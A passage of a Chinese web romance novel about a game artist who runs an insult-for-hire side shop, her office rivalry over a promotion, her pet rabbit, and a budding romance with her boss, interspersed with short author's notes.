她打字回道:[我明白您的心情,我也认可您的想法,代骂可以随时结束,剩余的钱我退给您。] 年卡老板:[不用,我找你不是想退钱的,是我们违约在先,钱不用退,只要别再骂他就好了。] 任舒晚没有听她的,切到备忘录看了一下,总共骂了49天,计算下来需要退1257.9元。 她通过咸鱼小铺的转账退了回去,小圆说什么都不肯收,又转了回来,几番拉扯之后对方才惭愧地收下。 熄掉手机,任舒晚躺在床上发呆,虽然只跟年卡老板接触过几次,但通过聊天能看出她是一个非常善良的女生,任舒晚希望她能早点从痛苦里走出来。 想到这,她恨不得再去臭骂一顿年卡渣男,太太太恶心了!!!!怪不得这段时间她骂他,他不回也不拉黑了,原来私下里作妖蛾子呢! 这时,耳边的手机一震,她拿起查看,工作微信收到一条添加好友的请求,对方备注:邓嘉霖。 通过请求,邓嘉霖发来一个小狗打招呼的表情包,[晚上好,我找祝笙要了你的微信。你今天怎么没来嘉年华现场看比赛?] 任舒晚:[我今天带兔去绝育了,就没去现场。] 邓嘉霖:[哦,原来如此,我的战队今天拿了第一名。] 任舒晚:[恭喜啊!] 邓嘉霖:[改天我们一起打游戏。] 任舒晚没有拒绝,她对邓嘉霖不反感,人长得好看,也有礼貌,是个不错的交朋友人选,至于其他的,她没想过,她短期目标就是升职涨工资,毕竟填饱肚子才是重中之重。 — 翌日周一,又是万恶的工作日,任舒晚耸拉着脑袋进办公室,一屁股坐到工位上,椅子还没捂热被陈月妍喊去了办公室。 门一关,陈月妍表情有些凝重,“安总监康复差不多了,本周就会回来上班了,如果项目组不忙的话你就需要退出项目组了。” 任舒晚早有预料,“好的妍姐,没问题。” 陈月妍:“不过安总监和陆总那边暂时还没说什么,我只是提前告诉你,你有个心理准备。” “没事。”任舒晚笑了笑,“当初加项目组你就告诉我了,我可以接受的。而且这次学了很多,我以前都没自己画过pv的分镜画,这次尝试了很多,受益匪浅。” 陈月妍非常喜欢她开朗的性格,沉重的表情随着她的安慰烟消云散,“还有一件事,年底晋升中级准备上报,美术部够年限的一共你们五个人,三个名额,跟往年一样,会出命题稿,稿件交上去由高级原画师和安总监评审,再结合个人风格确定三位人选。” 陈月妍顿了顿,“有蔡晓敏。” 话不用说明白,任舒晚已经知道陈月妍想表达什么,她需要防着蔡晓敏背后耍花招。 “好,我会小心的。”任舒晚说。 陈月妍点点头,“等命题出来再告诉你,我相信你没问题的,这次项目组的经历让你成长很多,蝴蝶月的新皮肤就是你能力的证明。” 任舒晚从陈月妍办公室出来就去公司门口拿外卖了,正巧碰见蔡晓敏一身烟味从楼梯间出来,她看了任舒晚一眼,鼻子不是鼻子,脸不是脸的。 任舒晚猜她应该也知道了晋升的事,懒得搭理她,拿着外卖就往回走,刚背过身去就听到她在后面冷哼了一声,任舒晚翻个白眼,这人上辈子横死的吗,怨气这么大。 两天后,安逸正式回归岗位,任舒晚也被他喊去了办公室。 偌大的房间,两人面对面坐着,安逸见她表情严肃,忍不住笑了声,“不用紧张,找你来是想说一下后续的工作安排。周年庆你付出很多,成绩很好,但破晓项目组不缺人,所以我回来你就需要回到原来的岗位了,可以吧?” 任舒晚点点头,“好的,明白,总监。” 安逸:“你学习能力强,日后好好加油,遇到问题可以随时来找我。” 离开安逸办公室,回到工位,任舒晚在项目群里发了简单的感谢和告别准备退出项目群,毕竟群聊里经常涉及私密任务,她不在项目组里,不适合继续呆在里面。 消息刚发完,石洋就回复了:[辛苦了,感谢小任在周年庆的鼎力支持,祝接下来一切顺利!] 紧接着就有其他同事附和着发来祝福,一条接一条,很快占据屏幕。 直到消息停滞慢下来,任舒晚才回了个可爱的表情,[谢谢大家的祝福,希望日后有机会继续合作,我退群了。] 她退出项目组的消息传得很快,临近午休就在茶水间听到了流言蜚语,笑她设计的皮肤上线又能怎么样,不还是干完活就得卷铺盖走人。 更有荒谬的说法称原本安总监是许她留在项目组的,但因为她不合群,就又把她踢出来了。 任舒晚听了都想笑,这些人脑洞这么大,怎么到了画稿的时候一个个喊着没灵感呢? 不过她也明白,美术部办公室每个人都存在竞争关系,背后诋毁再正常不过了,也没什么可气的,反正都是些莫须有的事情罢了。 与此同时,安逸办公室,陆言知敲门而入,脸色阴沉,浑身戾气,“为什么不跟我商量?” 安逸正四仰八叉躺在沙发上和女朋友煲电话粥,闻声歪头看向他,一脸莫名其妙,“商量啥?” “任舒晚退出项目组。”陆言知说。 安逸疑惑挠头,“这还用商量嘛,这不是共识吗?美术组用不了那么多人你又不是不知道。难道我休息几天你变霸权了?” 陆言知冰冷的视线落在他拿手机的右手上,如有实质,“你手能画?” 安逸被点着了,噌的一下坐起来,扬起手就给他展示,“能画啊,怎么就不能画了,我只是受过伤,又不是没了手。你又吃什么炸药了?谁又惹你不高兴了?” 陆言知顿了顿,“没。” 他已经四天没见过任舒晚了,往常项目组例会还能见到,现在完全没有碰面的机会,只有偶尔在微信上交流兔子的恢复情况,但它们也快康复了。 他脸色又沉了几分,并且她已经连续四天没骂过他了,晚上不骂,白天不骂,原因不明。 “不对。”安逸审视着他,讳莫如深地摇了摇头,“你很不对。”—— 作者有话说:[吃瓜]你看,他急了。 周二晚11点更新。 第22章 第 22 章 危机感 安逸摸着下巴思忖道:“你莫名其妙跑来找我, 又这么大脾气,完全不是你平时的风格。” 他点点头,继续往下顺, “你来找我是为了……诶, 为什么来着?” 陆言知抬眸, 嫌弃地睨了他一眼,“你打电话吧。” 说罢, 他转身就要走, 安逸却猛的一下从沙发上站起来,“我想起来了,你为了小任退项目组!” 陆言知抿紧唇, 甚是无语。 “小任是挺好啊,别看年轻, 有我当年风范。”安逸夸别人还不忘带上自己,“不过破晓早步入正轨了,真不缺原画师啊,倒是新手游美术组可以考虑拉她来当主力军了。” 陆言知迈出去的步子瞬时停住,沉黯的眸底忽闪了闪。 安逸自说自话地摇摇头, “不对, 怎么感觉还是怪怪的。” 陆言知眉梢微挑, 旋即转身入座,“正好谈一下新手游的市场分析。” “啊。”安逸本就乱的思绪被他打断, 硬生生忘了刚才自己在纠结什么。 一涉及工作, 陆言知就变得无比严肃认真, 好好的午休又变成了加班狂的工作时间,熬到最后,安逸开始赶他, “哥,求你了,你让我睡会行吗?” 陆言知瞥他一眼,“歇了一个月都没歇够?” “谁能跟你一样,视工作如命。”安逸索性将他拖起来往门口推,“我们下午再聊,下午再聊,你也好好休息。” 门一开一关,陆言知被安逸“礼貌”请出了办公室。 世界回归安静,安逸再次躺回沙发给女友打电话,铃声响了几秒被接听,听筒传来江一若清脆好听的声音,“安逸,你怎么那么傻!” 上来就被骂,安逸委屈地吸吸鼻子,“干嘛啊宝宝,我又做错什么了……” “你没明白陆言知什么意思吗??”江一若恨铁不成钢道。 两人刚刚谈工作前的对话江一若听得一清二楚,陆言知明摆着是来兴师问罪的,就安逸这地主家的傻儿子听不出来。 安逸:“什么意思啊,宝宝,我不懂。” “陆言知八成喜欢那个叫小任的女孩子。”江一若说。 没头没尾,没凭没据的一句话给安逸吓了个懵,“啥?你咋知道的???” “我咋知道的,我咋知道的,就你傻了吧唧的不知道。”江一若隔着屏幕都想给他脑袋来一巴掌,“不信你去问他。” 安逸头晃得像拨浪鼓,“我不敢,他那臭脾气。” 江一若:“那你观察吧,八九不离十。” — 下午临近下班,任舒晚收到了邓嘉霖发来的消息,约她晚上一起去吃一家新开的火锅。 她没有拒绝,约好时间地点,下班便坐地铁过去跟他碰面。 火锅店跟她回家同一方向,轻车熟路上了地铁,中途站下车,出了地铁口走几百米便看到了店铺红火的招牌。 虽是新开的店但生意极好,门口人头攒动,十分火爆,排队的塑料座椅坐满人,邓嘉霖站在其中,格外夺目。 他穿了一件深绿色毛衣,搭了一件白色长裤,再配上精致立体的五官,格外干净利落。他手里捧着一小束鲜花,见到她后便递了上来。 任舒晚跑得气息不匀,“不好意思,下班有点晚,迟到了。” “没事,还没到我们。”他扬了扬手里的排号,上挑的桃花眼微眯,“很快了。” 任舒晚将怀里的花抱紧,一小束粉色玫瑰,不张扬,又很能表达心意,侧面看出他是一个很有教养的男生,跟女生约会会带礼物,知道人多会提前来排队。 很快服务员便上前来喊他们用餐,进了屋子,川香麻辣的锅底气味直冲鼻尖,任舒晚忍不住捂着嘴打了个喷嚏。 邓嘉霖仓皇问道:“你不能吃辣吗?我问祝笙,她说你喜欢吃川渝口味的。” 任舒晚揉着鼻子摇头,“不是,我是喜欢吃,就是突然闻到有点冲,一会儿就好了。” 入了座,邓嘉霖先给她倒了杯温水。 任舒晚接过抿了一口,问道:“你今晚怎么有时间出来吃饭,不用直播吗?” 邓嘉霖笑了笑,“驴不舒服了也得歇一天吧。” 任舒晚被他逗笑,“怎么还有人这么形容自己的。” 见她开怀,邓嘉霖神情也不再那么紧绷,“话糙理不糙,直播看似比较自由,其实跟上班没差,每周还只能休一天。” 任舒晚没深入了解过他的行业,不过也大概清楚,什么工作都一样,每天打游戏打数小时也没那么幸福,起码肩颈腰椎就很受罪。 闲聊着,锅底和菜品都端了上来,红彤彤的牛油锅,烧起来咕嘟咕嘟冒泡,下入牛羊肉,瞬间裹满红油,再蘸上灵魂油碟料,解辣增香,让人直流口水。 邓嘉霖:“你调得油碟好吃。” 任舒晚得意道:“对吧,我可是资深吃货。” 这时,她桌上的手机忽然响了一下,屏幕点亮,是微信收到了新消息,她放下筷子查看,是陆言知发来的。 点开才看到他一个小时前就发来了一张图片,是煤球叼着干草呆萌的照片并配文:[煤球恢复差不多了,元宝怎么样了?] 她当时手机在包里没听到,后来吃饭聊天也没看手机。 这会儿陆言知看她没回复,又发来一条:[你吃过晚饭了吗?] 她抿了口水,打字道:[在吃啦,跟朋友来吃一家新开的火锅,味道很不错。] 她拍了张桌面的照片发过去。 [今天还没管元宝小朋友,它也恢复的差不多了,现在应该在吃自助晚饭呢。] 任舒晚回完,含笑熄掉手机。 邓嘉霖不着痕迹看她一眼,“有好事?笑那么开心。” 任舒晚笑意更深,“没,我们大老板。” “该不会让你回去加班吧?”邓嘉霖顿了顿,“也不对,加班应该哭起来了。” 任舒晚忍不住笑出声,初次见他时没发现他说话这么幽默,接触下来倒是很有趣的一个人。 “当然不是,是在说养得兔子,那天他家兔子跟我家兔子一块去绝育了。” 邓嘉霖了然地点点头,“我可以看看你养得兔子吗?” “当然了。” 任舒晚找出元宝的照片给他看,有叼着干草的,有窝在她腿上的,每张都呆萌可爱。 “好小一只,萌萌的。”邓嘉霖夸赞道,“果然主人可爱,养得宠物也可爱。” 太油嘴滑舌了。 任舒晚瞪他一眼,“不是吃得辣锅吗,怎么成饭后甜点了。” 邓嘉霖哈哈大笑,“是是是。” 手机那边,陆言知点开照片,沉黯的眸子微微眯起,照片中角落位置露出一个手机,手机壳是破晓瞬间周边款,角色是箫沉。 他见过,很熟悉,他知道手机的主人是谁。 他关掉照片,打字,[明天晚上我要带煤球去复查,你有时间吗?带着元宝一起去吧。] 消息发出去,任舒晚很久没回复,他盯着手机,又点开了照片。 — 任舒晚和邓嘉霖在地铁口分道扬镳,上了地铁,她才看到陆言知发得消息。 [有的,我带着元宝一起。] 陆言知回复很快,[明天晚上下班我先陪你回去接元宝。] 任舒晚犹豫着皱起眉,最近总麻烦陆言知了,她觉得怪不好意思的,[不用啦,太麻烦了,我坐地铁回去,接了它去宠物医院跟你们碰面。] 陆言知:[不麻烦,明天下班等我。] 第二天下午临近下班,任舒晚就收到陆言知的微信,[我在地库等你。] 她回了个收到的表情包,连忙关电脑收拾东西,时间一到就打卡下楼,本来就挺添麻烦了,哪好真让大老板等她。 任舒晚走到电梯口等电梯的时候,又碰到从楼梯间出来的蔡晓敏,她一身烟味,不知道又抽了多少。 任舒晚瞥了她一眼,视若无睹地继续等电梯。 蔡晓敏受不了被她忽略,冷哼一声,嘲讽道:“下班真积极。” 任舒晚不咸不淡地回道:“跟你有关系吗?你家住海边吗?管得真宽。” 蔡晓敏:“我愿意。” 任舒晚慢条斯理看向她,“你愿意的事多了,谁搭理你?” 电梯门叮的一声开了,任舒晚看了一眼,视线再次落到蔡晓敏脸上,“有病就去治,我不是兽医。” 说罢,她抬步上了电梯,气得蔡晓敏原地直跺脚。 任舒晚下到负一层,刚出楼梯间就看到熟悉的黑色宾利停在门口,她扫了周围一眼,见四下无人才迅速钻进车里。 门关上,她抬眸对上陆言知的视线,甜甜一笑,“陆总好。” 话音刚落,一个黑色团子突然从后排冒出来,噌的一下蹦到了任舒晚怀里。 “煤球!”任舒晚惊喜地将它搂在怀里,“好宝宝,你好了没有呀?” 煤球瞪着眼看她,鼻尖嗅着她的指尖,捕捉着她的气味。 “怎么感觉我偷了它,它反倒跟我关系更好了。”任舒晚笑着看向陆言知。 陆言知轻笑一声,“它本来就很粘人。” “原来如此。” 任舒晚低头凑在大兔耳朵上猛吸一口,“乖宝宝乖宝宝,元宝弟弟都没有你可爱。” 陆言知侧头瞧着一人一兔,眼中满是温柔。 接了元宝,两人两兔直奔宠物医院。 到了苏医生的诊室,做了简单的检查,伤口恢复良好,缝得针线过几天会自己吸收干净。 陆言知问道:“苏医生,什么时间再来复查?” 苏医生瞧着两小只的伤口,“不用复查了。” 陆言知点了点头,没说话。 离开宠物医院,上了车,两小只在后排疯玩起来,从地毯跳到座椅上,再扒到窗户边看风景,时不时又互相舔毛,表现出兄弟情深的模样。 任舒晚总忍不住回头瞧,越看越开心。 “我给元宝拿了些煤球的玩具,在后备箱里。”陆言知说道。 “哇,太感谢了陆总,元宝跟着煤球哥哥可享福了。” 元宝似乎听懂了她的话,愣怔一下后忽的跳上手盒位置,鼻尖凑近去嗅陆言知搭在上面的胳膊。 轻微的触感让陆言知忍不住偏头去看,恰好对上元宝圆溜溜的眼睛,他还未开口逗弄它,它霎时警惕地晃了晃脑袋,下一秒开口咬住了陆言知的衣服。 “任元宝!!”任舒晚赶紧伸手阻止,为时已晚,作了妖的元宝一个起跳逃之夭夭,她连毛都没摸着。 她急得挠头皮,连忙去看陆言知的衣服,好在他穿得是一件软壳的冲锋衣,布料特殊,不容易留痕。 陆言知微微叹口气,“它记恨上我了。” “啊?”任舒晚看向煤球,“为什么煤球没事?” “每只兔子性格都不同。” 陆言知刚说完,元宝再次跳上手盒位置,想也不想便冲着袭击他而去。 任舒晚眼疾手快将它抓进怀里,“元宝,再调皮就进兔包。” 元宝转转眼睛,往任舒晚怀里拱了拱,似乎表示知道了。 果然之后的路程它没有继续攻击陆言知,只是时不时警惕地看着他。 陆言知有些无奈,他担心的事还是发生了。 到了任舒晚家楼下,陆言知把后备箱打开,里面放着一袋玩具和一个不大不小的纸箱子。 “我帮你拿上去吧。”陆言知说道。 任舒晚点点头,“那带着煤球一起吧,正好还没吃晚饭,我的晚餐厨艺虽然一般,但能填饱肚子。” 陆言知笑了笑,“好的,任厨师。” 于是,任舒晚抱兔,陆言知拿玩具,两人一前一后上了楼。 进了门,把两小只撒开,它们迅速占领房间,开启上蹿下跳模式。 陆言知把玩具放在玄关处,任舒晚给他拿了一双自己的新拖鞋,“嗯…可能有点小。” “没事。” 陆言知脱了皮鞋,穿上那双粉色带着猫猫脑袋的棉拖,露出一半脚后跟,甚是滑稽。 任舒晚瞧了一眼忍不住笑出声。 陆言知眯眸看她,“下次我自带。” “小猫拖鞋不好看吗?”任舒晚故意打趣他。 他抿了抿唇,无奈道:“你说呢?” “我说当然好看了,不然我干嘛买呢!”任舒晚笑嘻嘻地扬起下巴,“就是陆总的脚好像有点不满意。” 她眼底笑意更深,整个眸子亮晶晶的,他望过去,看到了自己的倒影。 任舒晚洗过手便进了厨房,陆言知紧随其后,“需要我帮忙吗?” “暂时不需要。”任舒晚站在冰箱前有些为难,“就是不知道做什么,面?或者馄饨?” 陆言知站在她身后往冰箱里瞧,蔬菜,鸡蛋、肉样样齐全。 “愿意吃辣椒牛肉拌面吗?”陆言知问道。 任舒晚眼睛一亮,无辣不欢星人已经蠢蠢欲动了,“好啊,不过我不会,你介意我现学现卖吗?” 陆言知无奈看她一眼,“我来做。”—— 作者有话说:明晚不更,周四晚11点更新。 第23章 第 23 章 她在跟他打游戏吗? 任舒晚只想感叹陆言知厨艺太好了, 只是炒个浇头就给她馋到流口水,大片的牛肉和青红辣椒在锅里爆炒,香味一下子翻滚出来。 他不紧不慢地持着锅铲, 单手将番茄、洋葱放进锅里, 又放入各种调料, 味道瞬间变得丰富起来。 整个过程他都从容不迫,井井有条。 任舒晚站在一旁偷师, 目光却总忍不住看向厨师, 他身上穿着她的黄色兔子围裙,有些可爱。系起的带子勾勒出修长紧实的腰身,后背挺拔宽阔, 身材比例极好,想来吃播也没有这一幕下饭。 片刻后, 浇头出锅,汤汁浓郁,牛肉软烂,裹上过水的面条,色香味俱全。 她凑在一旁翘首以盼, 不自觉地舔着嘴唇, “好香啊。” 陆言知轻笑一声, 把拌好的面递上前,顺手从篮子里拿出筷子, “拿好你的作案工具。” “遵命!”任舒晚连忙接过, 愤愤道:“都怪面条引我犯罪, 我要将它们通通吃干抹净。” 两碗面端上桌,整个房间充斥着丰富的美食香,任舒晚迫不及待夹起一筷子面条, 吹了吹后立刻塞进嘴里,只是细细嚼了两口她便满足地眯起眸子。 陆言知笑着看她,等待评价。 “太好吃了吧!!”任舒晚眼睛亮晶晶的,“这是什么山珍海味——” “这只是一碗面条。”陆言知笑道,眉梢却不自觉扬起。 “才不是,这是我吃过最好吃的面条。”任舒晚坚定点头,一口一口往嘴里喂着。 陆言知看她吃得开心,唇边的笑意更深更浓,“这么高的评价。” 任舒晚:“那当然,你的晚餐厨艺很不错哦,跟我的早餐有的一拼。” 吃完面,任舒晚主动揽下刷锅洗碗的活,刚钻进厨房撸起袖子,陆言知紧随其后,“元宝和煤球想喝水了。” “哦,那我一会给它们倒。”任舒晚心不在焉回答,一心就想干活,手还没碰到锅柄,陆言知已经抢先拿了过去。 “现在倒吧。”陆言知说完,已经挽起袖子开始刷碗。 任舒晚眨眨眼,到手的活被人抢了,“那我倒完回来帮你。” 她迅速冲出去洗杯子,给两小只倒上凉白开,两兔一边喝一边闹,杯子里的水撒了一地,她只好任劳任怨的等着它们喝完收拾干净才折返回厨房。 结果陆言知已经洗完了,锅铲擦得干净,水杯碗筷也不留水痕。 任舒晚愣愣看着一尘不染的厨房,“你怎么不留点活给我干。” 陆言知笑着看她,慢条斯理擦着手上的水,“这么想干活?” “那你做了饭还刷锅洗碗…”任舒晚不好意思地撇撇嘴,“多不好。” “那你去给元宝组装玩具吧。”陆言知笑道,“这个活可以吗?” 任舒晚:“也行。” 陆言知拿来不少玩具,有毛绒玩偶,兔子最爱的叠叠乐,还有一个小型的木质躲避隧道,可以随意搭配组装,组成不同样子。 陆言知拆包装,任舒晚则拿着说明书看得认真,躲避隧道能横摆能竖摆,方式多种多样,可根据房间大小随心设计。 她看完,胸有成竹道:“没问题了,我能拼起来。” 陆言知点点头,起身去抱煤球,“嗯,那你自己来吧,我先回家了。” “好的,多谢陆总的玩具。”任舒晚嘴甜道。 话音刚落,她桌上的手机忽然响了一声,消息铃声清脆短促,陆言知循声看了一眼,没放在心上。 任舒晚垂眸拿起来,是微信收到邓嘉霖发来的消息,问她吃过晚饭了吗。 [吃过了。] 她随手回过去,看向陆言知,“陆总,你回去路上注意安全。” “嗯,好。”陆言知应声,将煤球塞进兔包,熟练地拉上拉链。 下一秒,又是一声消息铃音,陆言知手中的动作顿了顿,微微偏头扫了一眼。 任舒晚打开手机,邓嘉霖回了一条语音消息。 “要一起打游戏吗?我们四排。” 手机声音不大不小,在安静的屋子里轻轻回荡,正能传进陆言知的耳朵, 任舒晚没在意,听完没有着急回复,而是看向陆言知,等着送他离开。 陆言知有所察觉,佯装随意地提起兔包,淡淡道:“需要我帮你组装吗?” “啊?”任舒晚微愣,他不是要走吗?怎么又突然要帮她组装玩具? 她大咧咧摆摆手,“没事,我自己可以。” 陆言知平静的视线落在她脸上,四目相对,他沉默片刻,道:“那我先回去了。” “好,你到家报平安给我。” 任舒晚送他到门口,看着他背影消失在楼梯尽头,她眸中闪过一丝困惑,为什么觉得陆言知地背影有些不太开心? 她摇摇头,或许是错觉吧。 关上门,她随手给邓嘉霖回去消息,“改天吧,我今晚要给兔子组装玩具。” 扔下手机,任舒晚开启打扫环节,先在兔窝旁收拾出来一片空间,再按照图纸摆放组装玩具。 她租的房子空间有限,原本想着等年后搬到新房子再给元宝买玩具的,但眼下有免费的,她当然不想拒绝。 不过她思索着也要给陆言知回点礼物,毕竟他帮了她很多,从元宝绝育到现在的玩具,无论怎样,都是心意。 她一边组装一边走神,没有听到沙发上连响两声的手机。 陆言知到家已经是一小时后,他刚停下车便掏出手机给任舒晚发去消息,[我到家了。] 消息发出没有回复,他从车库进了家门,还是杳无音信。 犹豫一瞬,他又发去消息,[玩具组装好了吗?] 又是等待…… 直至安顿好煤球,他回来看手机还是一片安静。 他蹙眉熄灭屏幕,她去跟那个人打游戏了吗? — 任舒晚尝试了许多种方式,终于选到一种元宝玩得开心,房间也能放开的搭配,看着元宝乐此不疲地上蹿下跳,偶尔还咬着玩偶一起玩,她开心极了,不知不觉就看了好久,直至元宝玩累了躺到笼子里,她才起身洗澡洗漱。 躺到床上,熄掉主灯,只留着房间一角的昏暗夜灯。 她打开手机,堆叠的通知很多,她先回了陆言知的消息,并发去组装好的玩具图片,[很成功,元宝非常喜欢。] 陆言知回复很快,[那就好,组装的很漂亮。] 任舒晚发了个元宝吃草的可爱表情包,[陆总晚安。] 陆言知盯着屏幕看了许久才缓慢打字,[晚安。] 翌日,悲催的工作日。 任舒晚刚到公司就被通知去安逸办公室。到了才发现,美术部所以上报晋升中级的人都在。 人齐,安逸开门见山,“年底晋升中级开始了,规则照旧,只有三个名额。” 他将桌上五份文件往前推了推,“这是今年的命题和注意事项,你们拿回去看看,一定要准时交稿,错过就等于放弃。” 离开安逸办公室,任舒晚打开文件夹,只是草草扫了一眼主题,她的心就莫名安定了下来。 今年晋升中级的主题居然和《破晓瞬间》有关,为角色素颜设计一款古典诗意的皮肤,以东方美学为主题,十五天时间内上交三视图和细节补充。 虽然在项目组这段时间任舒晚没画过素颜这个角色,但她对破晓瞬间足够了解,这对于画稿来说简直是如虎添翼。 这就是神明对她的眷顾吗? 晋升主题一出,只是一上午时间,整个美术部便议论纷纷起来,任舒晚听到最多的便是:这明摆着走后门吧?都没参加过破晓的项目,只有某些人参加过,肯定得心应手啊。 她听了倒不生气,她们愿议论就议论呗,这就叫学习不好怨桌子,有这工夫还不如研究研究角色呢。 几人背后嚼舌根的时间,她已经找破晓项目组的策划要来了素颜角色人物志。 中午午休时间,她和祝笙一起去吃饭,便问道:“你们昨晚一起打游戏呢?” 祝笙:“对啊,你今晚有时间吗?我们一起啊,可好玩了,他俩特别厉害,我纯躺。” 任舒晚扑哧一下笑出声,“我们笙笙这个不喜欢玩游戏的都为爱折腰了。” “哪有哪有。”祝笙害羞地抿抿嘴,“就是很好玩嘛,你一起呀!” “嗯嗯,我今晚跟你们一起,我得了解一下素颜的技能,为我画稿做准备。” 到了晚上,她回家吃完饭,邓嘉霖便给她发来了消息,[打游戏吗?祝笙说你要一起。] 任舒晚:[对,我刚吃饱,什么时候开始。] 邓嘉霖:[八点吧,我八点开播。不过你介意你的声音出现在我的直播间吗?我们连麦玩我直播间粉丝能听到。] 任舒晚:[没事,我不介意。] 邓嘉霖回了个表情包,[那我一会喊你,先吃个饭。] 与此同时,陆言知正在安逸家吃烧烤。 安逸在后院的花园搭了个烧炭火的烤炉,很大,这个季节围着烧烤正暖和舒适。 各种不同的肉串架在烤盘上炙烤,滋滋啦啦冒着油,没一会便金黄诱人,散发出油脂的醇香。 安逸熟练地撒上调料,先把第一串递给了陆言知。 陆言知平静接过,没着急吃,“中级晋升定主题了?” 安逸手上动作不停,翻动着肉串,“啊,对,今年定的东方美学,给破晓的素颜画个皮肤。” 闻言,陆言知脸色一变,“怎么用破晓?” 安逸不明所以地挠挠头,“咋了?正好也要准备上新皮肤了,让她们设计不正好。” 陆言知沉着脸没说话。 安逸:“小任不是也要晋中级,我算是顺水推舟了。” 陆言知咬紧后槽牙,恨不得一根烧烤棍插在安逸脑子里,看看他到底在想什么。 “她需要你帮助吗?”陆言知冷哼一声。 安逸:“为啥不需要,我觉得她挺好挺值得晋升中级的。” 陆言知:“她应该更想凭自己实力来。”—— 作者有话说:抱歉,今天来晚了,3号更新大肥章[加油] 谢谢大家的支持,2026马上发财! 第24章 第 24 章 一天骂三次 “你怎么知道?你这么了解她啊?”安逸不怀好意地打量着陆言知, 他醉翁之意不在酒,今天这顿饭说是鸿门宴也不为过了。 陆言知不紧不慢地瞥了他一眼,答非所问道:“江一若呢?她怎么没来?” “她今天家庭聚餐, 等她结束我再去找她。” 话说完安逸就察觉到陆言知在转移话题, 上次他家宝宝告诉他了, 他太傻了,总是被一两句话糊弄过去。 “我觉得小任挺不错的, 你觉得呢?” 陆言知:“你很闲?” 安逸扬扬手里还没熟的烤串, “不闲啊,这不正忙着呢。” “不闲这么多话。” 陆言知越是不接茬,安逸越是好奇心爆炸, 要不是江一若嘱咐他心急吃不了热豆腐,他就要直接开口问陆言知是不是对任舒晚有意思了。 好在他压了下来, 顺着他的话锋聊起了别的,“你提了新车了?那台公司120周年的纪念款?” 陆言知:“嗯。” “借我开几天。”安逸厚脸皮道。 陆言知掀了掀眼皮,“不借,自己买。” “哎呦,我哪有钱, 我钱都在若若那里, 她才不让我买这么贵的车。” 安逸是他们圈子里出了名的妻管严, 为女朋友马首是瞻,江一若说往东他不敢往西。 陆言知:“那你去求江一若, 我不借。” 安逸冷哼一声, “你就抠吧。” 吃饱喝足, 安逸接到朋友的电话喊他去喝酒。挂断电话,他看向陆言知,“走啊, 喝酒去吗?” 陆言知正靠在沙发上出神,漆黑的双眸一瞬不瞬地盯着手机,似乎遇到什么棘手的问题,处于犹豫不决之中。 “不去。”他果断回应。 安逸:“那我可去了。” 陆言知淡淡应了声,片刻后似是认了命般,无可奈何地收起手机,起身离开,“你去吧,我回家了。” 他没喝酒但头疼得很,他发现找不到合适的理由联系任舒晚。 — 八点邓嘉霖准时上线,四人很快组齐队伍开始游戏。 第一局的时候任舒晚迷迷糊糊有些紧张,拿着素颜这类辅助角色却不敢救人,导致团队一直被围堵。但玩了几局下来,她熟悉了角色技能,加上邓嘉霖技术确实好,一直指挥她怎么打配合,渐渐的团队居然打出了默契,直播间里粉丝也看得热血沸腾的。 除此之外,任舒晚通过游戏总结了不少灵感,素颜是一个表面看似柔弱但内心十分坚韧的女生,她用扇作为武器,扇骨中暗藏玄机,虽攻击不够狠戾,但能针针致命,她能用针杀人,亦能用针救人。 打完最后一局,任舒晚主动退出,她要把今晚得到的灵感记录下来,为画稿做准备。 退出游戏,任舒晚打开备忘录聚精会神写着,不久后,桌边的手机忽然轻震一声打断她的思绪,她如梦初醒,伸个懒腰活动下肩膀,随手拿起手机查看。 未读消息是安逸发来的,她有些诧异,点开发现是一段直播录屏,画面是破晓瞬间,背景音听到邓嘉霖在喊她怎么打配合。 她忍不住笑了下,怎么听直播里她的声音呆呆的。 安逸:[是你吗?听着好像你的声音。] 任舒晚:[是,安总监,好巧,我玩游戏找灵感呢。] 安逸:[哈哈,也不巧,我平时就经常看这个主播的直播,你们认识?] 任舒晚:[嗯嗯,我朋友。] 安逸:[哦~原来如此,我看直播里他总温柔的喊你小晚,我还以为是你男朋友呢。] 任舒晚发了个擦汗尴尬的表情包,[安总监误会了,纯洁的友谊关系。] 安逸思索一瞬,计上心头,他截下跟任舒晚的聊天记录发给了陆言知。当然,他非常“好心的”只截取到任舒晚承认在玩游戏,剩下的留着让陆言知自己猜自己好奇。 截图甩过去,他又配了一句话来掩盖自己的目的,[你看小任多认真,有能力又努力。] 陆言知几乎是秒回,[?] [视频是什么?] 安逸隔着手机屏幕都能感受到他的着急,还死鸭子嘴硬不承认呢。 他顾左右而言他,[你新车好开吗?] 陆言知:[?视频是什么?] 安逸笑得肚子疼,[新车借我开几天。] 陆言知:[来拿钥匙。] 安逸:[马上到。] 安逸手机一揣,衣服一套,喜上眉梢,目的达成。 十几分钟后,安逸准时抵达陆言知家,人刚敲开入户门,脚还没踏进门槛,车钥匙便迎面扔了过来,他立刻接住,“车我开走了。” 陆言知冷冷看他,“视频。” “哦~”安逸佯装恍然,不紧不慢地进了门,“视频发你。” 他侧身拐进电梯口,人很快消失的无影无踪,几十秒后,陆言知手机叮的一声,他沉着脸点开视频。 清朗的男声响起,“小晚,来我身后。” 接着是熟悉的女声,“好,石门那里对吧?” 陆言知关掉视频,脸色更差了。 — 任舒晚把所有的灵感都记下来,关掉电脑去洗澡。 洗漱完躺在床上,看到手机半小时前推送的通知:[您的小铺收到消息,请尽快回复。] 她打开一看,是一个顶着默认头像和默认昵称的老板咨询,[接代聊天吗?]??? 任舒晚一脸懵,代聊天是什么鬼? 她切去小铺确认,是代骂,没错啊! [不好意思,不接,只接代骂。] 手机那端,陆言知看着收到的消息陷入沉思。 他思忖一瞬,回道:[那我下单代骂。] 任舒晚疑惑皱起眉,这位老板略显奇怪,怎么前脚问代聊天,后脚就变代骂了? 她没有着急回复,而是点进他的个人资料,里面一片空白,没有宝贝,没有评价,没有动态,连个人介绍都是默认的:这家伙很神秘,没有写个人简介。 她怎么看都觉得这个账号像是刚注册的。 或许老板怕泄露个人信息? 她虽疑惑,但还是打字回复,[好的老板,代骂的意思是我代替您骂您的仇人。] 陆言知:[嗯。] 任舒晚:[我们有不同价位的套餐。] 她把小铺的套餐图发过去,[您看您需要什么套餐呢?] 陆言知大概扫了一眼,[能一天骂三次吗?]???!!!! 任舒晚瞪大眸子,这是什么离谱的要求,如此恨海情天吗? [当然可以,您想骂多久呢?] 陆言知:[一年。] 任舒晚还没反应过来,对方已经拍下了三份年卡套餐,她连忙问:[是渣男还是小人?老板您把对方的微信号发给我。] 陆言知:[都不是。] 任舒晚愣愣眨眨眼,[那是什么?] 